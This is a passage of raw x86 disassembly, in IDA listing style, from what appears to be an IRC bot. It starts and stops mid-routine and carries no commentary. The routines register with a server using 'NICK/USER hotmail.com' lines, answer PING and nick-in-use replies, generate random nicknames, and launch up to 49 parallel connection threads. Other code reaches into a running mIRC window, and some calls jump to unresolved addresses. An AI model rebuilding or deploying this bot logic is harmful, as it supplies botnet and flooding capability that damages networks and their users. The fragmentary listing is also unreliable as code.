[ebp+var_8] push eax mov al, byte ptr dword_4D4034 push eax call dword_4D3E14 push [ebp+var_4] mov edi, offset dword_4D3E20 push offset dword_4D2E10 push offset dword_4D3610 push [ebp+arg_0] push offset dword_437B84 push 200h push edi call sub_41B980 add esp, 1Ch push [ebp+var_4] push 0 call esi push eax nop call near ptr 2790000h mov eax, edi pop edi pop esi leave retn sub_417552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175E9 proc near ; CODE XREF: sub_416F1A:loc_417056p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D4028 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 nop call near ptr 27A0B03h push eax call near ptr 27A0000h nop and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D3610 mov edi, 200h mov esi, offset dword_4D2C10 loc_41762F: ; CODE XREF: sub_4175E9+FAj mov eax, dword_4D4028 add eax, eax push eax push dword_4D4030 push [ebp+var_14] call sub_41C310 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D3E14 mov eax, dword_4D4028 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4176A4 loc_41766C: ; CODE XREF: sub_4175E9+B3j cmp [ebp+var_8], 0 jz short loc_4176C1 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417690 cmp byte ptr [ecx+1], 0 jnz short loc_417690 cmp dl, 20h jnb short loc_41768A and [ebp+var_8], 0 loc_41768A: ; CODE XREF: sub_4175E9+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417694 loc_417690: ; CODE XREF: sub_4175E9+90j ; sub_4175E9+96j and [ebp+var_8], 0 loc_417694: ; CODE XREF: sub_4175E9+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_41766C cmp [ebp+var_8], 0 jz short loc_4176C1 loc_4176A4: ; CODE XREF: sub_4175E9+81j push [ebp+var_14] push offset dword_4D2E10 push ebx push [ebp+arg_0] push offset dword_437B84 push edi push esi call sub_41B980 add esp, 1Ch jmp short loc_4176D9 ; --------------------------------------------------------------------------- loc_4176C1: ; CODE XREF: sub_4175E9+87j ; sub_4175E9+B9j push offset dword_4D2E10 push ebx push [ebp+arg_0] push offset dword_437BD4 push edi push esi call sub_41B980 add esp, 18h loc_4176D9: ; CODE XREF: sub_4175E9+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_41762F push [ebp+var_14] push 0 nop call near ptr 27A0B03h push eax call near ptr 2790000h nop mov eax, esi pop edi pop esi pop ebx leave retn sub_4175E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417702 proc near ; CODE XREF: sub_4178BA+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CB024 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_41777E push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAFA4 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFE4 cmp eax, esi jnz short loc_417763 push [ebp+arg_0] call dword_4CB028 test eax, eax jz short loc_41777E mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417763: ; CODE XREF: sub_417702+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF4C cmp eax, esi jnz short loc_417782 push edi call dword_4CB03C loc_41777E: ; CODE XREF: sub_417702+1Bj ; sub_417702+58j mov eax, esi jmp short loc_417784 ; --------------------------------------------------------------------------- loc_417782: ; CODE XREF: sub_417702+73j mov eax, edi loc_417784: ; CODE XREF: sub_417702+7Ej pop edi pop esi leave retn sub_417702 endp ; =============== S U B R O U T I N E ======================================= sub_417788 proc near ; CODE XREF: sub_401ACD+3294p ; sub_401ACD+3300p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_4299C8 ; "\n" push edi call sub_41BEC0 pop ecx mov esi, offset dword_4D403C pop ecx loc_4177A0: ; CODE XREF: sub_417788+42j cmp dword ptr [esi-4], 1 jnz short loc_4177BE cmp dword ptr [esi], 0 jbe short loc_4177BE push 0 push edi call sub_41AFE0 pop ecx push eax push edi push dword ptr [esi] call dword_4CAFF4 loc_4177BE: ; CODE XREF: sub_417788+1Cj ; sub_417788+21j add esi, 210h cmp esi, offset dword_4DA75C jl short loc_4177A0 pop edi pop esi retn sub_417788 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177CF proc near ; CODE XREF: sub_4178BA+155p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42CA64 ; " " push edi push esi push [ebp+arg_0] call sub_41C0F4 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_4177F4: ; CODE XREF: sub_4177CF+35j push esi push 0 call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_4177F4 mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_41781C cmp esi, edi jnz short loc_41781C push 1 pop eax jmp loc_4178B5 ; --------------------------------------------------------------------------- loc_41781C: ; CODE XREF: sub_4177CF+3Fj ; sub_4177CF+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41C070 pop ecx pop ecx test eax, eax push esi jnz short loc_417837 push offset dword_4387EC jmp short loc_417885 ; --------------------------------------------------------------------------- loc_417837: ; CODE XREF: sub_4177CF+5Fj push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_417858 push esi push offset dword_4387E8 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4178B3 loc_417858: ; CODE XREF: sub_4177CF+76j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41B590 lea eax, [ebp+var_420] push eax call sub_417ADD add esp, 10h lea eax, [ebp+var_420] push eax push offset dword_4387DC loc_417885: ; CODE XREF: sub_4177CF+66j lea eax, [ebp+var_220] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_220] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CAFF4 loc_4178B3: ; CODE XREF: sub_4177CF+87j xor eax, eax loc_4178B5: ; CODE XREF: sub_4177CF+48j pop edi pop esi pop ebx leave retn sub_4177CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178BA proc near ; DATA XREF: sub_417A5F+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41BB20 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D4044[esi] mov dword_4D4038[esi], edi push dword_4D4244[esi] push eax call sub_417702 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D403C[esi], eax jb loc_417A3F mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41B590 lea eax, [ebp+var_2008] push eax call sub_417ADD lea eax, [ebp+var_4008] push eax call sub_417ADD lea eax, [ebp+var_3008] push eax call sub_417ADD add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_1008] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D403C[esi] call dword_4CAFF4 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch loc_417996: ; CODE XREF: sub_4178BA+111j ; sub_4178BA+180j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D403C[esi] call dword_4CAFBC cmp eax, ebx mov [ebp+var_8], eax jle short loc_417A3F xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417996 loc_4179CD: ; CODE XREF: sub_4178BA+17Ej mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_4179F4 cmp al, 0Ah jz short loc_4179F4 cmp [ebp+arg_0], 0FA0h jz short loc_4179F4 mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417A2E ; --------------------------------------------------------------------------- loc_4179F4: ; CODE XREF: sub_4178BA+11Cj ; sub_4178BA+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417A2E push dword_4D403C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_4177CF pop ecx test eax, eax pop ecx ja short loc_417A3F push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+arg_0], ebx loc_417A2E: ; CODE XREF: sub_4178BA+138j ; sub_4178BA+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_4179CD jmp loc_417996 ; --------------------------------------------------------------------------- loc_417A3F: ; CODE XREF: sub_4178BA+40j ; sub_4178BA+107j ... mov dword_4D4038[esi], ebx mov esi, dword_4D403C[esi] cmp esi, ebx jbe short loc_417A56 push esi call dword_4CB03C loc_417A56: ; CODE XREF: sub_4178BA+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_4178BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A5F proc near ; CODE XREF: sub_401ACD+31E1p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417AD8 loc_417A71: ; CODE XREF: sub_417A5F+77j xor edi, edi mov eax, offset dword_4D4038 loc_417A78: ; CODE XREF: sub_417A5F+28j cmp [eax], ebx jz short loc_417A89 add eax, 210h inc edi cmp eax, offset dword_4DA758 jl short loc_417A78 loc_417A89: ; CODE XREF: sub_417A5F+1Bj cmp edi, 31h jz short loc_417AD8 mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D4044[esi] push eax call sub_41BEB0 mov eax, [ebp+arg_4] pop ecx mov dword_4D4244[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D4038[esi], 1 push eax push ebx push edi push offset sub_4178BA push ebx push ebx call near ptr 2660D86h nop inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417A71 loc_417AD8: ; CODE XREF: sub_417A5F+10j ; sub_417A5F+2Dj pop edi pop esi pop ebx leave retn sub_417A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417ADD proc near ; CODE XREF: sub_401ACD+374Dp ; sub_401ACD+3793p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 add esp, 0Ch call sub_41B8E2 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276F8 call sub_41C798 cmp eax, 1 jnz short loc_417B27 call sub_41B8E2 call sub_41B8E2 push 66h cdq pop ecx idiv ecx push off_437F28[edx*4] jmp short loc_417B40 ; --------------------------------------------------------------------------- loc_417B27: ; CODE XREF: sub_417ADD+2Fj call sub_41B8E2 call sub_41B8E2 cdq mov ecx, 0C0h idiv ecx push off_437C28[edx*4] loc_417B40: ; CODE XREF: sub_417ADD+48j lea eax, [ebp+var_2C] push eax call sub_41BEB0 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41AFE0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 call sub_41C798 mov ebx, eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417BB3 cmp esi, 3 jnz short loc_417BAA cmp ebx, 1 jz short loc_417BB3 loc_417BAA: ; CODE XREF: sub_417ADD+C6j cmp eax, 1 jnz loc_417C6D loc_417BB3: ; CODE XREF: sub_417ADD+C1j ; sub_417ADD+CBj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E0 call sub_41C798 push off_437F28[eax*4] lea eax, [ebp+var_40] push eax call sub_41BEB0 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41BFB0 add esp, 10h test eax, eax jnz short loc_417C5A movsx eax, [ebp+var_40] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_417C5A call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417C5A push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_417C5A: ; CODE XREF: sub_417ADD+111j ; sub_417ADD+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41C1E0 add esp, 0Ch loc_417C6D: ; CODE XREF: sub_417ADD+D0j lea eax, [ebp+var_2C] push eax call sub_41AFE0 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41D648 pop ecx test eax, eax pop ecx jnz loc_417ED5 and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz loc_417DCC call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp esi, 3 jz short loc_417CDB cmp eax, 1 jnz loc_417DCC loc_417CDB: ; CODE XREF: sub_417ADD+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_417D1D push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_417D39 ; --------------------------------------------------------------------------- loc_417D1D: ; CODE XREF: sub_417ADD+207j call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebx], cl loc_417D39: ; CODE XREF: sub_417ADD+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41C798 cmp esi, 3 jz short loc_417D62 cmp eax, ebx jnz short loc_417DCC loc_417D62: ; CODE XREF: sub_417ADD+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_417DA7 push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_417DC5 ; --------------------------------------------------------------------------- loc_417DA7: ; CODE XREF: sub_417ADD+28Fj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_417DC5: ; CODE XREF: sub_417ADD+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_417DCC: ; CODE XREF: sub_417ADD+1C9j ; sub_417ADD+1F8j ... cmp esi, 6 jge loc_417E55 cmp esi, 5 jge short loc_417DED call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 jmp short loc_417E0B ; --------------------------------------------------------------------------- loc_417DED: ; CODE XREF: sub_417ADD+2FBj call sub_41B8E2 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 loc_417E0B: ; CODE XREF: sub_417ADD+30Ej call sub_41C798 test eax, eax jnz short loc_417E2E call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h jmp short loc_417E4B ; --------------------------------------------------------------------------- loc_417E2E: ; CODE XREF: sub_417ADD+335j cmp eax, 1 jnz short loc_417E55 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h loc_417E4B: ; CODE XREF: sub_417ADD+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_417E55: ; CODE XREF: sub_417ADD+2F2j ; sub_417ADD+354j cmp [ebp+var_C], 2 jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 cmp [ebp+var_C], eax jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_417ED5: ; CODE XREF: sub_417ADD+1B1j ; sub_417ADD+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41B5F0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EEE proc near ; CODE XREF: sub_401ACD+BEBp ; sub_401ACD+C28p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_417F79 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_417F79 cmp [ebp+arg_8], esi jz short loc_417F79 cmp byte ptr [eax], 0 jz short loc_417F79 push ebx push edi call sub_426464 mov ebx, eax pop ecx test ebx, ebx jz short loc_417F74 push [ebp+arg_4] push edi call sub_41B900 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_417F6D sub eax, edi push eax push edi push ebx call sub_41B5F0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41AFE0 push eax push [ebp+arg_8] push ebx call sub_41C1E0 push [ebp+arg_4] call sub_41AFE0 add eax, esi push eax push ebx call sub_41BEC0 push ebx push edi call sub_41BEB0 add esp, 30h mov esi, edi loc_417F6D: ; CODE XREF: sub_417EEE+3Cj push ebx call sub_41B0B1 pop ecx loc_417F74: ; CODE XREF: sub_417EEE+2Bj mov eax, esi pop ebx jmp short loc_417F7B ; --------------------------------------------------------------------------- loc_417F79: ; CODE XREF: sub_417EEE+Cj ; sub_417EEE+13j ... xor eax, eax loc_417F7B: ; CODE XREF: sub_417EEE+89j pop edi pop esi pop ebp retn sub_417EEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F7F proc near ; CODE XREF: sub_401955+E9p ; ___:004102F0p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41B590 mov esi, [ebp+arg_0] push esi call sub_41AFE0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_417FB5 or eax, 0FFFFFFFFh jmp short loc_418028 ; --------------------------------------------------------------------------- loc_417FB5: ; CODE XREF: sub_417F7F+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_417FD7 loc_417FC1: ; CODE XREF: sub_417F7F+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_417FCE cmp dl, 0Dh jnz short loc_417FD2 loc_417FCE: ; CODE XREF: sub_417F7F+48j and byte ptr [ecx+esi], 0 loc_417FD2: ; CODE XREF: sub_417F7F+4Dj inc ecx cmp ecx, eax jl short loc_417FC1 loc_417FD7: ; CODE XREF: sub_417F7F+40j xor edx, edx push edi test eax, eax jle short loc_418008 lea edi, [ebp+var_7CC] loc_417FE4: ; CODE XREF: sub_417F7F+87j cmp byte ptr [edx+esi], 0 jnz short loc_418003 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418003 cmp ebx, 1F4h jge short loc_418008 mov [edi], ecx inc ebx add edi, 4 loc_418003: ; CODE XREF: sub_417F7F+69j ; sub_417F7F+74j inc edx cmp edx, eax jl short loc_417FE4 loc_418008: ; CODE XREF: sub_417F7F+5Dj ; sub_417F7F+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418026 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41C310 add esp, 0Ch loc_418026: ; CODE XREF: sub_417F7F+8Ej mov eax, ebx loc_418028: ; CODE XREF: sub_417F7F+34j pop esi pop ebx leave retn sub_417F7F endp ; =============== S U B R O U T I N E ======================================= sub_41802C proc near ; CODE XREF: sub_418086+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418065 push ebx mov ebx, edi loc_418049: ; CODE XREF: sub_41802C+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418068 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418049 pop ebx loc_418065: ; CODE XREF: sub_41802C+18j pop edi pop esi retn sub_41802C endp ; =============== S U B R O U T I N E ======================================= sub_418068 proc near ; CODE XREF: sub_41802C+25p ; sub_418086+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41D74C cmp al, 61h pop ecx jl short loc_418083 cmp al, 7Ah jg short loc_418083 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418083: ; CODE XREF: sub_418068+Ej ; sub_418068+12j xor eax, eax retn sub_418068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418086 proc near ; CODE XREF: ___:0041532Dp var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41BB20 push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41AFE0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_41802C add esp, 14h dec esi mov edi, esi loc_4180C4: ; CODE XREF: sub_418086+B6j test esi, esi jle short loc_418142 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41D74C pop ecx cmp eax, ebx pop ecx jz short loc_41813A loc_4180EA: ; CODE XREF: sub_418086+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_418068 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_41810B mov eax, ecx loc_41810B: ; CODE XREF: sub_418086+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41813E mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41D74C pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_4180EA loc_41813A: ; CODE XREF: sub_418086+62j dec edi dec esi jmp short loc_4180C4 ; --------------------------------------------------------------------------- loc_41813E: ; CODE XREF: sub_418086+8Aj xor eax, eax jmp short loc_418147 ; --------------------------------------------------------------------------- loc_418142: ; CODE XREF: sub_418086+40j mov eax, [ebp+arg_0] add eax, edi loc_418147: ; CODE XREF: sub_418086+BAj pop edi pop esi pop ebx leave retn sub_418086 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41814C proc near ; CODE XREF: sub_401ACD+67A3p ; sub_401ACD+789Ep var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi nop call near ptr 267064Ch mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h nop call near ptr 27C0000h lea eax, [ebp+var_100] loc_418185: ; CODE XREF: sub_41814C+46j mov cl, [eax] cmp cl, 1Fh jg short loc_418191 cmp cl, 9 jnz short loc_418194 loc_418191: ; CODE XREF: sub_41814C+3Ej inc eax jmp short loc_418185 ; --------------------------------------------------------------------------- loc_418194: ; CODE XREF: sub_41814C+43j ; sub_41814C+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4181AE mov cl, [eax] cmp cl, 2Eh jz short loc_418194 cmp cl, 21h jl short loc_418194 loc_4181AE: ; CODE XREF: sub_41814C+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DA75C push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41B980 add esp, 18h mov eax, esi pop esi leave retn sub_41814C endp ; =============== S U B R O U T I N E ======================================= sub_4181D6 proc near ; CODE XREF: sub_401ACD+24CAp push esi push 0 call dword_4CAF74 test eax, eax jz short loc_41820D push 1 call dword_4CAF94 mov esi, eax test esi, esi jz short loc_41820D push edi push esi nop call near ptr 27D0666h push esi mov edi, eax nop call near ptr 27D0000h call dword_4CAFF8 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41820D: ; CODE XREF: sub_4181D6+Bj ; sub_4181D6+19j xor eax, eax pop esi retn sub_4181D6 endp ; =============== S U B R O U T I N E ======================================= sub_418211 proc near ; CODE XREF: sub_401ACD+7661p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CAFB0 mov ebp, eax cmp ebp, esi jz short loc_41828D push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh nop call near ptr 27E04D4h push esi push esi mov edi, eax push esi push 0F001Fh push edi nop call near ptr 27E036Ch push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41B886 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CB000 push esi push 1 push 4C9h push ebp call dword_4CB000 push ebx nop call near ptr 27E0000h push edi call near ptr 26508C8h nop push 1 pop eax pop ebx jmp short loc_41828F ; 